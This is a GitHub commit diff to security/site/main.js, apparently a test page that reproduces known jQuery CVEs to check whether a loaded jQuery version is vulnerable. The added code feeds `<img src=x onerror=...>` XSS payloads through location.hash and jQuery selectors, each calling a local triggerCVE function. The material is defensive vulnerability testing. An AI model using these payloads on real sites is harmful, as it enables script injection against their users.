Skip to content

Commit e85dd04

Browse files
committed
✨ finish adding reproductions for all CVEs
1 parent 0cbb675 commit e85dd04

File tree

1 file changed

+29
-7
lines changed

1 file changed

+29
-7
lines changed

security/site/main.js

Lines changed: 29 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -178,18 +178,39 @@ function updateCVE(cve) {
178178
}
179179
}
180180

181-
function CVE_2011_4969(){
182-
error('TODO');
181+
function CVE_2011_4969(cve){
182+
183+
location.hash = `<img src="x" onerror="triggerCVE('${cve[0]}');">`;
184+
185+
try {
186+
// presumably, when this vulnerability was discovered, browsers did not return `location.hash` encoded.
187+
// so we can't reproduce the issue without decoding
188+
$(decodeURIComponent(location.hash));
189+
} catch (e) {
190+
handleJQuerySyntaxError(e);
191+
}
192+
193+
194+
}
195+
196+
function handleJQuerySyntaxError(e){
197+
198+
const JQUERY_SYNTAX_ERROR = 'Syntax error, unrecognized expression';
199+
200+
const errorMessage = typeof e === 'string' ? e : e.message;
201+
202+
// we expect newer (unaffected) jQuery to throw a syntax error, so ignore it
203+
if(!errorMessage.startsWith(JQUERY_SYNTAX_ERROR)) {
204+
error(e);
205+
}
206+
183207
}
184208

185209
function CVE_2012_6708(cve) {
186210
try {
187211
$(`element[attribute='<img src="x" onerror="triggerCVE('${cve[0]}');" />']`).html();
188212
} catch (e) {
189-
// we expect newer (unaffected) jQuery to throw a syntax error, so ignore it
190-
if(!e.message.startsWith('Syntax error, unrecognized expression')) {
191-
error(e);
192-
}
213+
handleJQuerySyntaxError(e);
193214
}
194215
}
195216

@@ -238,5 +259,6 @@ function CVE_2020_11023(cve) {
238259
}
239260

240261
function CVE_2020_23064(cve) {
241-
error('TODO');
262+
// this is a duplicate of CVE-2020-11023
263+
CVE_2020_11023(cve);
242264
}

0 commit comments

Comments
 (0)